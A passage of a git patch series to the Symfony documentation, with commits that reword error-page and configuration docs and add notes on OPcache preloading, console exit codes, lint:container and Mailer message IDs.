+   :ref:`create a new normalizer <overriding-non-html-error-output>`;
 
 #. If you also want to tweak the logic used by Symfony to generate error pages,
    :ref:`override the default error controller <custom-error-controller>`;
@@ -47,9 +48,9 @@ depending on your needs:
 Overriding the Default Error Templates
 --------------------------------------
 
-You can use the built-in Twig error renderer to easily override the default error templates.
-Both the TwigBundle and TwigBridge need to be installed for this.
-Run this command to ensure both are installed:
+You can use the built-in Twig error renderer to override the default error
+templates. Both the TwigBundle and TwigBridge need to be installed for this. Run
+this command to ensure both are installed:
 
 .. code-block:: terminal
 
@@ -191,10 +192,14 @@ To override non-HTML error output, the Serializer component needs to be installe
 
     $ composer require serializer
 
-The Serializer component has a built-in ``FlattenException`` normalizer (``ProblemNormalizer``) and JSON/XML/CSV/YAML
-encoders by default. That means that if an exception were to be thrown in your application, Symfony can output it in
-a format supported by one of the encoders. If you want to change how the output is structured, all you have to do
-is create a new Normalizer that supports the ``FlattenException`` input::
+The Serializer component has a built-in ``FlattenException`` normalizer
+(``ProblemNormalizer``) and JSON/XML/CSV/YAML encoders. When your application
+throws an exception, Symfony can output it in one of those formats. If you want
+to change the output contents, create a new Normalizer that supports the
+``FlattenException`` input::
+
+    # src/App/Serializer/MyCustomProblemNormalizer.php
+    namespace App\Serializer;
 
     class MyCustomProblemNormalizer implements NormalizerInterface
     {
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d100d1b7b62..2fd84702e30 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -608,11 +608,11 @@ error_controller
 
     The ``error_controller`` option was introduced in Symfony 4.4.
 
-This is the controller that is activated after an exception is thrown anywhere
-in your application. The default controller
+This is the controller that is called when an exception is thrown anywhere in
+your application. The default controller
 (:class:`Symfony\\Component\\HttpKernel\\Controller\\ErrorController`)
-is what's responsible for rendering specific templates under different error
-conditions (see :doc:`/controller/error_pages`).
+renders specific templates under different error conditions (see
+:doc:`/controller/error_pages`).
 
 esi
 ~~~

From e7094c10db721ba6aa7529ac64373be9d4195d9a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 13:01:31 +0100
Subject: [PATCH 0049/7107] Removed 4.4 versionadded and deprecations

---
 reference/configuration/framework.rst |  4 ----
 reference/configuration/twig.rst      | 24 ------------------------
 2 files changed, 28 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6a446439556..a17a02a8c81 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -589,10 +589,6 @@ error_controller
 
 **type**: ``string`` **default**: ``error_controller``
 
-.. versionadded:: 4.4
-
-    The ``error_controller`` option was introduced in Symfony 4.4.
-
 This is the controller that is called when an exception is thrown anywhere in
 your application. The default controller
 (:class:`Symfony\\Component\\HttpKernel\\Controller\\ErrorController`)
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 7c6add6ca60..7f83f0929a8 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -42,7 +42,6 @@ Configuration
 
 * `debug`_
 * `default_path`_
-* `exception_controller`_
 * `form_themes`_
 * `globals`_
 * `number_format`_
@@ -196,29 +195,6 @@ The path to the directory where Symfony will look for the application Twig
 templates by default. If you store the templates in more than one directory, use
 the :ref:`paths <config-twig-paths>`  option too.
 
-.. _config-twig-exception-controller:
-
-exception_controller
-~~~~~~~~~~~~~~~~~~~~
-
-**type**: ``string`` **default**: ``twig.controller.exception:showAction``
-
-.. deprecated:: 4.4
-
-    The ``exception_controller`` configuration option was deprecated in Symfony 4.4.
-    Set it to ``null`` and use the new ``error_controller`` option under ``framework``
-    configuration instead.
-
-This is the controller that is activated after an exception is thrown anywhere
-in your application. The default controller
-(:class:`Symfony\\Bundle\\TwigBundle\\Controller\\ExceptionController`)
-is what's responsible for rendering specific templates under different error
-conditions (see :doc:`/controller/error_pages`). Modifying this
-option is advanced. If you need to customize an error page you should use
-the previous link. If you need to perform some behavior on an exception,
-you should add an :doc:`event listener </event_dispatcher>` to the
-:ref:`kernel.exception event <kernel-kernel.exception>`.
-
 .. _config-twig-form-themes:
 
 form_themes

From de045d7d56b4c84d4646f09611c7644906da385b Mon Sep 17 00:00:00 2001
From: Yann Klis <yann.klis@gmail.com>
Date: Fri, 6 Dec 2019 13:57:43 +0100
Subject: [PATCH 0050/7107] Scalingo is another PaaS which supports Symfony

---
 deployment.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/deployment.rst b/deployment.rst
index b0ab569c87f..fcac0960cb4 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -72,6 +72,7 @@ app quickly. There are many PaaS - below are a few that work well with Symfony:
 * `Azure`_
 * `fortrabbit`_
 * `Clever Cloud`_
+* `Scalingo`_
 
 Using Build Scripts and other Tools
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -254,3 +255,4 @@ Learn More
 .. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
 .. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
+.. _`Scalingo`: https://doc.scalingo.com/languages/php/symfony

From c1f4174a552875810dbc4704ca2e3f5fea28eb6c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Dec 2019 09:31:49 +0100
Subject: [PATCH 0051/7107] Mentioned the PHP 7.4 class preloading

---
 performance.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/performance.rst b/performance.rst
index fdf181839c9..893ba7877ba 100644
--- a/performance.rst
+++ b/performance.rst
@@ -17,6 +17,7 @@ Production Server Checklist
 ---------------------------
 
 #. :ref:`Use the OPcache byte code cache <performance-use-opcache>`
+#. :ref:`Use the OPcache class preloading <performance-use-preloading>`
 #. :ref:`Configure OPcache for maximum performance <performance-configure-opcache>`
 #. :ref:`Don't check PHP files timestamps <performance-dont-check-timestamps>`
 #. :ref:`Configure the PHP realpath Cache <performance-configure-realpath-cache>`
@@ -42,6 +43,28 @@ every request. There are some `byte code caches`_ available, but as of PHP
 5.5, PHP comes with `OPcache`_ built-in. For older versions, the most widely
 used byte code cache is `APC`_.
 
+.. _performance-use-preloading:
+
+Use the OPcache class preloading
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 4.4
+
+    The feature that generates the preloading file was introduced in Symfony 4.4.
+
+Starting from PHP 7.4, OPcache can compile and load classes at start-up and
+make them available to all requests until the server is restarted, improving
+performance significantly.
+
+Symfony generates the file automatically with the list of classes to preload.
+The file path is the same as the file generated for the service container but
+with the ``preload`` suffix:
+
+.. code-block:: ini
+
+    ; php.ini
+    opcache.preload=/path/to/project/var/cache/prod/App_KernelProdContainer.preload.php
+
 .. _performance-configure-opcache:
 
 Configure OPcache for Maximum Performance

From 3777c9264e5a702edb703b8d21effd9c64bcdfcc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 13:25:44 +0100
Subject: [PATCH 0052/7107] Removed the versionadded directive

---
 performance.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/performance.rst b/performance.rst
index 893ba7877ba..eb15d40579b 100644
--- a/performance.rst
+++ b/performance.rst
@@ -48,10 +48,6 @@ used byte code cache is `APC`_.
 Use the OPcache class preloading
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 4.4
-
-    The feature that generates the preloading file was introduced in Symfony 4.4.
-
 Starting from PHP 7.4, OPcache can compile and load classes at start-up and
 make them available to all requests until the server is restarted, improving
 performance significantly.

From 286a980bcd8037189d8bf1e951d22fc8f6bf8e75 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 9 Dec 2019 13:49:46 +0100
Subject: [PATCH 0053/7107] Fix highlighting. Refs #12781

---
 security/custom_authentication_provider.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 1edc00c5228..24856c151ee 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -97,7 +97,7 @@ The Listener
 
 Next, you need a listener to listen on the firewall. The listener
 is responsible for fielding requests to the firewall and calling the authentication
-provider. Listener is a callable, so you have to implement __invoke() method.
+provider. Listener is a callable, so you have to implement an ``__invoke()`` method.
 A security listener should handle the
 :class:`Symfony\\Component\\HttpKernel\\Event\\RequestEvent` event, and
 set an authenticated token in the token storage if successful::

From e0f0908d6367f4619841c777e277de8e8f5d7cfc Mon Sep 17 00:00:00 2001
From: Robert Saylor <robert@customphpdesign.com>
Date: Wed, 4 Dec 2019 14:17:21 -0500
Subject: [PATCH 0054/7107] Update setup.rst

---
 setup.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/setup.rst b/setup.rst
index 32be370c945..4dbe8215608 100644
--- a/setup.rst
+++ b/setup.rst
@@ -61,6 +61,10 @@ commands to create the new Symfony application using Composer:
 
     # run this if you are building a microservice, console application or API
     $ composer create-project symfony/skeleton my_project_name
+    
+    # to specify the version of Symfony to install
+    $ composer create-project symfony/website-skeleton:^4.x my_project_name
+    Replace 4.x with the version. IE: 4.4
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 2c94fdc44cc4609dd6cc287cfa1240dd27cf0aa1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 15:14:20 +0100
Subject: [PATCH 0055/7107] Tweaked the previous merge

---
 setup.rst | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 4dbe8215608..f3a1203f1a8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -61,10 +61,6 @@ commands to create the new Symfony application using Composer:
 
     # run this if you are building a microservice, console application or API
     $ composer create-project symfony/skeleton my_project_name
-    
-    # to specify the version of Symfony to install
-    $ composer create-project symfony/website-skeleton:^4.x my_project_name
-    Replace 4.x with the version. IE: 4.4
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -247,6 +243,16 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     # use the 'next' Symfony version to be released (still in development)
     $ symfony new my_project_name --version=next
 
+    # you can also select an exact specific Symfony version
+    $ symfony new my_project_name --version=4.4
+
+The ``lts`` and ``next`` shortcuts are only available when using Symfony to
+create new projects. If you use Composer, you need to tell the exact version:
+
+.. code-block:: terminal
+
+    $ composer create-project symfony/website-skeleton:^4.4 my_project_name
+
 The Symfony Demo application
 ----------------------------
 

From 0942165484dc54cb7a1f4a67899af6c8bb15c02e Mon Sep 17 00:00:00 2001
From: gary houbre <ghoubre@sqli.com>
Date: Wed, 4 Dec 2019 19:36:03 +0100
Subject: [PATCH 0056/7107] added minor review of example code

---
 service_container.rst | 22 +++++++++++++---------
 1 file changed, 13 insertions(+), 9 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 44b2d1ee4db..63c8e7b0bc9 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -29,20 +29,24 @@ you can "ask" for a service from the container by type-hinting an argument with
 service's class or interface name. Want to :doc:`log </logging>` something? No problem::
 
     // src/Controller/ProductController.php
-    // ...
+    namespace App\Controller;
 
     use Psr\Log\LoggerInterface;
 
-    /**
-     * @Route("/products")
-     */
-    public function list(LoggerInterface $logger)
+    class ProductController
     {
-        $logger->info('Look! I just used a service');
+        /**
+        * @Route("/products")
+        */
+        public function list(LoggerInterface $logger)
+        {
+            $logger->info('Look! I just used a service');
 
-        // ...
+            // ...
+        }
     }
 
+
 What other services are available? Find out by running:
 
 .. code-block:: terminal
@@ -222,7 +226,7 @@ the ``LoggerInterface`` type-hint. Set this on a new ``$logger`` property
 and use it later::
 
     // src/Service/MessageGenerator.php
-    // ...
+    namespace App\Service;
 
     use Psr\Log\LoggerInterface;
 
@@ -550,7 +554,7 @@ Choose a Specific Service
 The ``MessageGenerator`` service created earlier requires a ``LoggerInterface`` argument::
 
     // src/Service/MessageGenerator.php
-    // ...
+    namespace App\Service;
 
     use Psr\Log\LoggerInterface;
 

From e2d1c06672b45ba42b9861100bfb63d4db72a3af Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9mie=20Samson?= <jeremie.samson76@gmail.com>
Date: Tue, 26 Nov 2019 16:45:08 +0100
Subject: [PATCH 0057/7107] Update console.rst

Since Symfony 5.0, we have an error if we don't return an int on the `execute` function, I added it in the doc so there will not be an `TypeError` when trying this.
---
 console.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/console.rst b/console.rst
index 2a201b84e03..a92553de3c5 100644
--- a/console.rst
+++ b/console.rst
@@ -146,6 +146,8 @@ the console::
         // outputs a message without adding a "\n" at the end of the line
         $output->write('You are about to ');
         $output->write('create a user.');
+        
+        return 0;
     }
 
 Now, try executing the command:
@@ -195,6 +197,8 @@ which returns an instance of
             // (this example deletes the last two lines of the section)
             $section1->clear(2);
             // Output is now completely empty!
+            
+            return 0;
         }
     }
 
@@ -235,6 +239,8 @@ Use input options or arguments to pass information to the command::
 
         // retrieve the argument value using getArgument()
         $output->writeln('Username: '.$input->getArgument('username'));
+        
+        return 0;
     }
 
 Now, you can pass the username to the command:
@@ -284,6 +290,8 @@ as a service, you can use normal dependency injection. Imagine you have a
             $this->userManager->create($input->getArgument('username'));
 
             $output->writeln('User successfully generated!');
+            
+            return 0;
         }
     }
 

From 49f341f265359a86edc65b7b3154d1b86c114385 Mon Sep 17 00:00:00 2001
From: Robert Slootjes <robertslootjes@gmail.com>
Date: Fri, 29 Nov 2019 15:49:25 +0100
Subject: [PATCH 0058/7107] Add mandatory exit status

Modified all execute() functions and added a note with the new requirement which links to an explanation of exit statuses.
---
 console.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/console.rst b/console.rst
index a92553de3c5..2110e179625 100644
--- a/console.rst
+++ b/console.rst
@@ -46,6 +46,8 @@ want a command to create a user::
         protected function execute(InputInterface $input, OutputInterface $output)
         {
             // ...
+            
+            return 0;
         }
     }
 
@@ -316,6 +318,7 @@ command:
 :method:`Symfony\\Component\\Console\\Command\\Command::execute` *(required)*
     This method is executed after ``interact()`` and ``initialize()``.
     It contains the logic you want the command to execute.
+    Must return an integer which will be used as the command `exit status`_.
 
 .. _console-testing-commands:
 
@@ -395,3 +398,5 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/formatterhelper`: customize the output colorization
 * :doc:`/components/console/helpers/progressbar`: shows a progress bar
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
+
+.. _`exit status`: https://en.wikipedia.org/wiki/Exit_status

From f65a4edfb6586971124e2873e01c783773cf579a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 15:35:23 +0100
Subject: [PATCH 0059/7107] Tweaks

---
 console.rst | 19 ++++++++++++-------
 1 file changed, 12 insertions(+), 7 deletions(-)

diff --git a/console.rst b/console.rst
index 2110e179625..3b38de76cff 100644
--- a/console.rst
+++ b/console.rst
@@ -46,7 +46,7 @@ want a command to create a user::
         protected function execute(InputInterface $input, OutputInterface $output)
         {
             // ...
-            
+
             return 0;
         }
     }
@@ -148,7 +148,7 @@ the console::
         // outputs a message without adding a "\n" at the end of the line
         $output->write('You are about to ');
         $output->write('create a user.');
-        
+
         return 0;
     }
 
@@ -199,7 +199,7 @@ which returns an instance of
             // (this example deletes the last two lines of the section)
             $section1->clear(2);
             // Output is now completely empty!
-            
+
             return 0;
         }
     }
@@ -241,7 +241,7 @@ Use input options or arguments to pass information to the command::
 
         // retrieve the argument value using getArgument()
         $output->writeln('Username: '.$input->getArgument('username'));
-        
+
         return 0;
     }
 
@@ -292,7 +292,7 @@ as a service, you can use normal dependency injection. Imagine you have a
             $this->userManager->create($input->getArgument('username'));
 
             $output->writeln('User successfully generated!');
-            
+
             return 0;
         }
     }
@@ -317,8 +317,13 @@ command:
 
 :method:`Symfony\\Component\\Console\\Command\\Command::execute` *(required)*
     This method is executed after ``interact()`` and ``initialize()``.
-    It contains the logic you want the command to execute.
-    Must return an integer which will be used as the command `exit status`_.
+    It contains the logic you want the command to execute and it should
+    return an integer which will be used as the command `exit status`_.
+
+    .. deprecated:: 4.4
+
+        Not returning an integer with the exit status as the result of
+        ``execute()`` is deprecated since Symfony 4.4.
 
 .. _console-testing-commands:
 

From ad75aa9ec07c5b362cb9a6660c23175c0619af3b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 15:36:09 +0100
Subject: [PATCH 0060/7107] Removed the deprecated note

---
 console.rst | 7 +------
 1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/console.rst b/console.rst
index 3b38de76cff..a83b6139206 100644
--- a/console.rst
+++ b/console.rst
@@ -317,14 +317,9 @@ command:
 
 :method:`Symfony\\Component\\Console\\Command\\Command::execute` *(required)*
     This method is executed after ``interact()`` and ``initialize()``.
-    It contains the logic you want the command to execute and it should
+    It contains the logic you want the command to execute and it must
     return an integer which will be used as the command `exit status`_.
 
-    .. deprecated:: 4.4
-
-        Not returning an integer with the exit status as the result of
-        ``execute()`` is deprecated since Symfony 4.4.
-
 .. _console-testing-commands:
 
 Testing Commands

From 3938b0a30c082173ca96045d4a813ebcf191e3dd Mon Sep 17 00:00:00 2001
From: Kyle <kylekatarnls@users.noreply.github.com>
Date: Sat, 30 Nov 2019 13:00:09 +0100
Subject: [PATCH 0061/7107] Mention twig/extensions is not for Twig 3

As twig/extensions is obsolete according to:
https://github.com/twigphp/Twig-extensions/pull/258

And not compatible with Twig 3, let prevent developers for running a dead end command.
---
 templating/twig_extension.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index 068acee63b5..74e80fd8497 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -11,7 +11,8 @@ Before writing your own Twig extension, check if the filter/function that you
 need is already implemented in the `default Twig filters and functions`_ or the
 :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`.
 Check also the `official Twig extensions`_, which add commonly needed filters
-and functions and can be installed in your application as follows:
+and functions and can be installed in your application as follows (only needed
+if you're using Twig 1 or 2):
 
 .. code-block:: terminal
 

From 700db0a2c87a3eddcba417cbc1d012d906b7a438 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 16:00:36 +0100
Subject: [PATCH 0062/7107] Tweak

---
 templating/twig_extension.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index 74e80fd8497..c92f0c35707 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -10,9 +10,9 @@ use them in your templates.
 Before writing your own Twig extension, check if the filter/function that you
 need is already implemented in the `default Twig filters and functions`_ or the
 :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`.
-Check also the `official Twig extensions`_, which add commonly needed filters
-and functions and can be installed in your application as follows (only needed
-if you're using Twig 1 or 2):
+Check also the `official Twig GitHub organization`_, which contains some extra
+repositories that provide extensions for common needs (such as ``string-extra``,
+``html-extra``, ``intl-extra``, etc.)
 
 .. code-block:: terminal
 
@@ -178,5 +178,5 @@ for this class and :doc:`tag your service </service_container/tags>` with ``twig
 
 .. _`Twig Extensions`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
 .. _`default Twig filters and functions`: https://twig.symfony.com/doc/2.x/#reference
-.. _`official Twig extensions`: https://github.com/twigphp/Twig-extensions
+.. _`official Twig GitHub organization`: https://github.com/twigphp
 .. _`global variables`: https://twig.symfony.com/doc/2.x/advanced.html#id1

From 93c8f33ed37cfc72358d778922c032bf2204b619 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 16:29:20 +0100
Subject: [PATCH 0063/7107] Tweaks

---
 configuration.rst | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index d6e6f8abb1f..89961f0e5ef 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -617,21 +617,16 @@ following list shows the files loaded in all environments. The ``.env`` file is
 the only mandatory file and each file content overrides the previous one:
 
 * ``.env``: defines the default values of the env vars needed by the application;
-* ``.env.local``: defines machine-specific overrides for env vars on all
-  environments. This file is not committed to the repository, so these overrides
-  only apply to the machine which contains the file (your local computer,
-  production server, etc.);
+* ``.env.local``: overrides the default values of env vars for all environments
+  but only in the machine which contains the file (e.g. your development computer).
+  This file should not be committed to the repository and it's ignored in the
+  ``test`` environment (because tests should produce the same results for everyone);
 * ``.env.<environment>`` (e.g. ``.env.test``): overrides env vars only for some
   environment but for all machines;
 * ``.env.<environment>.local`` (e.g. ``.env.test.local``): defines machine-specific
   env vars overrides only for some environment. It's similar to ``.env.local``,
   but the overrides only apply to some particular environment.
 
-.. note::
-
-    ``.env.local`` is always ignored in test environment. The logic is that
-    tests should always produce the same results for everyone.
-
 .. note::
 
     The real environment variables defined in the server always win over the
@@ -802,7 +797,7 @@ parameters at once by type-hinting any of its constructor arguments with the
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
-    
+
     // ...
 
     use Symfony\Component\DependencyInjection\ParameterBag\ContainerBagInterface;

From c009c1b5eca434e6b803f0a71d1425c60592303a Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Fri, 22 Nov 2019 12:05:30 +0100
Subject: [PATCH 0064/7107] Update readme

---
 README.markdown | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.markdown b/README.markdown
index c1c1000be1a..af34e1032b0 100644
--- a/README.markdown
+++ b/README.markdown
@@ -18,7 +18,7 @@ Symfony documentation, please read
 SymfonyCloud
 ------------
 
-Pull requests are automatically built by [SymfonyCloud](https://symfony.com/cloud).
+Pull requests are automatically built on [SymfonyCloud](https://symfony.com/cloud).
 
 Docker
 ------

From 077ab139c8009562fb4332cc6d4fc6262acdabc4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 16:37:20 +0100
Subject: [PATCH 0065/7107] Tweaks

---
 README.markdown | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/README.markdown b/README.markdown
index af34e1032b0..9ffba759439 100644
--- a/README.markdown
+++ b/README.markdown
@@ -18,7 +18,8 @@ Symfony documentation, please read
 SymfonyCloud
 ------------
 
-Pull requests are automatically built on [SymfonyCloud](https://symfony.com/cloud).
+Thanks to [SymfonyCloud](https://symfony.com/cloud) for providing an integration
+server where Pull Requests are built and can be reviewed by contributors.
 
 Docker
 ------

From e23ebe00b6c67bdeaadd30a52904429598701c48 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 17:10:05 +0100
Subject: [PATCH 0066/7107] [DI] Documented the lint:container command

---
 service_container.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index ccdc30c253c..a277cd24b0f 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -788,6 +788,28 @@ you don't need to do *anything*: the service will be automatically loaded. Then,
 implements ``Twig\Extension\ExtensionInterface``. And thanks to ``autowire``, you can even add
 constructor arguments without any configuration.
 
+Linting Service Definitions
+---------------------------
+
+.. versionadded:: 4.4
+
+    The ``lint:conainer`` command was introduced in Symfony 4.4.
+
+The ``lint:conainer`` command checks that the arguments injected into services
+match their type declarations. It's useful to run it before deploying your
+application to production (e.g. in your continuous integration server):
+
+.. code-block:: terminal
+
+    $ php bin/console lint:container
+
+Checking the types of all service arguments whenever the container is compiled
+can hurt performance. That's why this type checking is implemented in a
+:doc:`compiler pass </service_container/compiler_passes>` called
+``CheckTypeDeclarationsPass`` which is disabled by default and enabled only when
+executing the ``lint:container`` command. If you don't mind the performance
+loss, enable the compiler pass in your application.
+
 .. _container-public:
 
 Public Versus Private Services

From 9370179c15492a785cfd0ada3ebb0b9f4b1fdb04 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 17:21:53 +0100
Subject: [PATCH 0067/7107] [Mailer] Mentioned the getMessageId() method

---
 mailer.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index acf196c0ebc..fc19a02e914 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -271,6 +271,17 @@ provides access to the original message (``getOriginalMessage()``) and to some
 debug information (``getDebug()``) such as the HTTP calls done by the HTTP
 transports, which is useful to debug errors.
 
+.. note::
+
+    Some mailer providers change the ``Message-Id`` when sending the email. The
+    ``getMessageId()`` method from ``SentMessage`` always returns the definitive
+    ID of the message (being the original random ID generated by Symfony or the
+    new ID generated by the mailer provider).
+
+    .. versionadded:: 4.4
+
+        The ``getMessageId()`` method was introduced in Symfony 4.4.
+
 The exceptions related to mailer transports (those which implement
 :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`) also provide
 this debug information via the ``getDebug()`` method.

From 0dfdb641a924041aad8aaf25ee17f63127e34982 Mon Sep 17 00:00:00 2001
From: Christophe Meneses <cmen@users.noreply.github.com>
Date: Mon, 9 Dec 2019 17:30:28 +0100
Subject: [PATCH 0068/7107] Remove unused use statement

---
 security/custom_authentication_provider.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 24856c151ee..a1732e8f08b 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -203,7 +203,6 @@ the ``PasswordDigest`` header value matches with the user's password::
     use Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\Exception\NonceExpiredException;
     use Symfony\Component\Security\Core\User\UserProviderInterface;
 
     class WsseProvider implements AuthenticationProviderInterface

From db960650c59f906d986276723d1f32ef497bb00c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Dec 2019 17:32:07 +0100
Subject: [PATCH 0069/7107] Fixed code indentation

---
 service_container.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 63c8e7b0bc9..09991a63e5c 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -36,8 +36,8 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
     class ProductController
     {
         /**
-        * @Route("/products")
-        */
+         * @Route("/products")
+         */
         public function list(LoggerInterface $logger)
         {
             $logger->info('Look! I just used a service');
@@ -194,8 +194,8 @@ each time you ask for it.
                     ->defaults()
                         ->autowire()      // Automatically injects dependencies in your services.
                         ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
-                ;                      
-                                       
+                ;
+
                 // makes classes in src/ available to be used as services
                 // this creates a service per class whose id is the fully-qualified class name
                 $services->load('App\\', '../src/*')

From 9322a00f689a2380b34c3f59887ef91e1b2489e8 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Mon, 9 Dec 2019 23:31:49 +0100
Subject: [PATCH 0070/7107] Fix output of before() example

---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index eff09aa0361..03edb616d87 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -238,7 +238,7 @@ Methods to Append and Prepend
 
     // returns the contents found before/after the first occurrence of the given string
     u('hello world')->before('world');   // 'hello '
-    u('hello world')->before('o');       // 'hell '
+    u('hello world')->before('o');       // 'hell'
     u('hello world')->before('o', true); // 'hello'
 
     u('hello world')->after('hello');   // ' world'

From 6793fbecc8d042896c265b6bb9a352b6e9183489 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <jacob@hdreesen.de>
Date: Mon, 9 Dec 2019 23:32:47 +0100
Subject: [PATCH 0071/7107] Fix UnicodeString::fromCodePoints example

---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index eff09aa0361..59098a8bf8d 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -125,7 +125,7 @@ There are also some specialized constructors::
     $foo = ByteString::fromRandom(12);
 
     // CodePointString and UnicodeString can create a string from code points
-    $foo = UnicodeString::fromCodePoints(0x928, 0x92E, 0x938, 0x94D, 0x924, 0x947);
+    $foo = (string) UnicodeString::fromCodePoints(0x928, 0x92E, 0x938, 0x94D, 0x924, 0x947);
     // $foo = 'नमस्ते'
 
 Methods to Transform String Objects

From ff0a9230cf0a691315a56418f8df528c874fa861 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Tue, 10 Dec 2019 08:57:50 +0100
Subject: [PATCH 0072/7107] Remove superfluous space

---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index eff09aa0361..a3b92c8b605 100644
--- a/components/string.rst
+++ b/components/string.rst
